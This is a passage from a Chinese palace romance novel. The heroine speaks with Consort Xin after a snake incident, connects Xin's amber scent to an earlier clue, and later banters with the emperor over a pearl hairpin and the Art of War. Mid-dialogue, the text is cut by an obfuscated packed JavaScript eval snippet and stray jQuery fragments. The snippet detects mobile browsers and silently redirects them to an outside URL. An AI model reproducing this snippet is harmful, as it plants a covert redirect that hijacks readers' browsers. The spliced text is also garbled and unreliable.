“卑职在!”
“给朕彻查!若是人为,朕要他的命!”话音未落,他已猛然转身,不再多看众人一眼,大步流星地离去。贴身侍从们慌忙跟上。
侍卫统领赵勇躬身抱拳,待圣驾远去,这才直起身来。他面色凝重,沉声下令:“封锁射箭场,除了娘娘主子及其宫人,任何人不得出入。你们几个,仔细搜查这片草丛,一寸都不要放过。”
侍卫们应声而动,顿时跪倒一片,双手在草丛间仔细翻找。怀瑾这时才注意到,还站着的是欣嫔旁边的一个侍卫。那侍卫约莫三十出头,身材魁梧,眉眼间与欣嫔颇有几分相似,腰间佩着长刀,站姿笔挺。想必,便是欣嫔的哥哥——艾锋。
见丽嫔仍抱着七皇子惊魂未定,怀瑾上前宽慰了几句。丽嫔此刻心神俱乱,只匆匆道了谢便带着孩子往宫苑方向赶去,急着寻医正查看。
怀瑾目送她们离去,随即转身往射箭场外走去。她刚踏出场地边缘,却听见身后传来一道温和却清晰的嗓音:“沈妹妹留步。”
怀瑾回身望去,只见欣嫔正站在数步之外的场边,身后随着两名宫女。二皇子已被宫人和艾锋护送着离去,想必也是受了惊吓需回去安抚。偌大的射箭场边,此刻只剩下她们几人,以及远处仍在草丛间搜寻的侍卫。
欣嫔缓步走近,随着距离拉近,一缕淡淡的琥珀香气若有似无地飘来,这气味让怀瑾觉得莫名地熟悉,仿佛在哪里闻到过。
“娘娘。”怀瑾行礼。
“沈妹妹快免礼,”欣嫔伸手虚扶,她脸色仍有些发白,“方才真是险极了,妹妹没伤着真是万幸。只是……祁晏怕是又要受一番罪了。”
怀瑾见她忧心忡忡,温声劝道:“二殿下虽受了惊吓,但既有娘娘这般细心呵护,定能早日安好的。”
这话似乎触动了欣嫔的心事。她轻叹一声,眼中情绪复杂:“想必妹妹对三年前宫中那场变故略有耳闻。自那之后,祁晏他便落下了心疾。从前尚能跟着父皇和……兄长骑马射箭,活泼得很,如今,却是连些猫儿狗儿都见不得,一见便心悸不已。今日这般,竟直接见了那等毒物,真不知这心结,何时才能纾解。”
怀瑾见她神色黯然,便温声劝慰道:“娘娘宽心,二殿下年纪尚小,心结……总会慢慢解开的。”
欣嫔却是轻轻摇了摇头,苦笑道:“不瞒妹妹,祁晏自变成这般模样后,在圣上面前,更是难获青眼。之前,皇后娘娘所出的皇子便是个中翘楚,聪慧敏捷。”
她顿了顿,声音更低了些,带着难以启齿的艰难,“我们祁晏……性子敦厚,开蒙也晚些,读书上确实不比兄弟们灵光。我出身行伍之家,于学问上本就粗疏,太傅教授的东西,我想从旁指点,却连自己都时常一知半解,当真是有力也不知该往何处使。”
她目光微垂:“祁晏只是一个资质平平又身患心疾的皇子。而我,圣上只是偶尔来我宫里坐坐,在这宫中早已是无足轻重,只想守着本分安稳度日……”
欣嫔这话不假,怀瑾入宫几月,知道皇上只是偶尔去欣嫔的永和宫,并无偏宠。但怀瑾不知为何欣嫔要突然与自己说这些。
她顿了顿:“可即便如此,依旧有人觉得碍眼……”
怀瑾心头一跳:“娘娘是说……”
“射箭场每日清扫,这剧毒的金环蛇,从何而来?而且偏偏是在今日,偏偏是在祁晏练箭的时候……”欣嫔的声音很轻,却让怀瑾的后背沁出一层冷汗。
“有时,我倒羡慕庄妃姐姐……”欣嫔轻轻叹息,“她似是早已看透这其中关窍,一向淡泊,除了协理六宫之责,平素与我们往来不多,诸事也皆不介入,反倒清净。”
她看着怀瑾,眼中带着几分深意:“正因如此,她才能稳居后妃中除皇后外最尊贵的位置,二公主平安长到十三岁,如今又有了身孕。”
“沈妹妹。”欣嫔轻声道,“你身手不俗,今日救了七皇子。可也正因如此,本宫才想劝你一句……”
她顿了顿:“你还年轻,日子还长……有些事,不必看得太透,也不必管得太多。过去的事,就让它过去吧……”
说完,她不再停留,转身离去。
怀瑾僵在原地,正细细咀嚼着这番话中的深意,一阵微风吹过,将欣嫔离去时残留在空气中的那缕琥珀甜香,再次送入怀瑾鼻尖。
这熟悉的香味……
欣嫔身上的琥珀香,竟正是与松涛坡的羊脂膏里的异香如出一辙!
*
“小主,尚方司将您的珍珠发簪送来了!”雪盏的声音带着雀跃,匆匆忙忙地掀帘而入。
怀瑾放下手中的书,接过锦盒打开,一支通体莹润的珍珠发簪静静躺在盒中,簪身由七颗饱满的东海珍珠串成,簪头雕成海棠花样,每一片花瓣上都镶着珍珠,在阳光下泛着柔和的光泽。
“这次尚方司的手艺,倒是快了。”怀瑾拿起发簪,爱不释手。上次萧景焕赏的东海珍珠,她挑了些让尚方司打几样首饰,没想到这最先完工的发簪,竟只用了四日。
这不比刚入宫时,得了太后娘娘一点赏赐,让尚方司打个最简单的银簪花,都拖了近三个月才送到手上。
对镜将发簪簪上,珠光温润,她心下不由泛起一丝细微的欢喜。她不像那纪初珩,三天两头便有皇上、皇后的赏赐如流水般送来。这算是她第一次真正得到他赏赐的,属于自己的物件。
她摸了摸那东海珍珠,那日黑暗中,他低沉嗓音拂过耳畔“你要怎么再‘赢’朕一次?……”的温热触感,仿佛又悄然复苏。珍珠冰凉,她的脸却不自觉滚烫起来。
“小主,”雪盏在一旁瞧着,忽然眨了眨眼,故意拖长了语调,“奴婢瞧着,这东海珍珠虽亮,但是……”
怀瑾心头莫名一紧,从镜中看她:“但是什么?”
雪盏“噗嗤”一声笑了出来,脆生生道:“但是戴在小主您头上,可都被小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762841|187123||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主您亮晶晶的眼睛衬得黯然失色啦!”
“好你个死丫头!竟敢打趣我!”怀瑾羞恼,作势便要起身追她。雪盏笑着告饶,在殿内灵巧地躲闪着。
“好了好了,小主饶命,奴婢不敢了!”雪盏停下脚步,收敛了玩笑神色,认真地端详着怀瑾,“奴婢是说真的。小主您瞧,这珍珠的光华是静的。可您眉眼间的灵动,沉思时如秋水含烟,笑起来又如星子落湖,这才是活的,是任何珠玉都比不上的。”
“贫嘴!”怀瑾嗔她一句,眼底却漾开笑意,“不理你了。”她坐回案前,重新拿起那本《孙子兵法》。近来发生了太多事,几个线索交织在一起,思绪却纷乱如麻,理不出个头绪。怀瑾心想或许看看这讲求谋略与格局的兵法,能帮她拨开迷雾。
正凝神间,外间忽然传来清晰的通传声——“皇上驾到!”
怀瑾握着书卷的手指下意识收紧。他怎么会突然来这简陋的撷芳殿?不及细想,她本能地欲将兵书藏起。
萧景焕已带着郑德大步流星地走了进来,目光掠过她未来得及完全遮掩的动作,不屑地“啧”了一声:“不用藏了。”
是了,他早知道她有这个习惯。当年在军营,她捧着这本兵书啃得入迷时,他没少凑过来调侃她:“啧啧啧,小丫头片子看这个?字认全了吗你?”
那时她年纪虽小,却已聪慧过人,九、十岁时其识字之丰,据师长断言已近成人八成,早早开始初读《孙子兵法》,只是其中许多深奥策略,当时仍是一知半解。
但祖父说,读书如磨剑,多读几遍,自然就透了。直到如今,她仍习惯在闲暇时拿出来反复研读,每次都有新的体会。
“皇上怎么来了?”她稳住心神,屈膝行礼。
萧景焕自顾自地在榻边坐了。静棠机敏地奉上茶盏,萧景焕随手接过,目光却仍停留在怀瑾身上:“顺路经过而已。”他答得随意,随即抬眼,目光在她脸上停留片刻,“昨天那样被惊吓,你真的没事?”
“臣妾无事,劳陛下挂心……”怀瑾刚要再次感谢他昨日那精准无比的一箭。
“当然,我们沈答应上天入地无所不能,还能让那条小蛇给震慑了?”话未说完,已被他打断。萧景焕眉梢微挑,语气里带上了她熟悉的、那种懒洋洋的调笑。
怀瑾听出他语气里的揶揄,不仅没有谦虚,反而扬起下巴:“那是自然!臣妾可是在军营里混的,什么场面没见过?一条小蛇罢了,臣妾自然不怕!”
萧景焕看着她这褪去恭顺的反应,低低地笑了起来,目光转向她紧握的书卷:“朕看你捧着这《孙子兵法》,心思可还在上头?别是只修了皮毛,未得精髓。”
他像是想起了极有趣的旧事,眼底笑意漫开:“朕还记得,当时炊营蒸了肉包子,你最爱吃。你刚读了两句‘攻其无备,出其不意'',便觉深得其中三味。趁你辰哥哥不注意,突然从背后伸手,想抢他盘里的包子。结果……”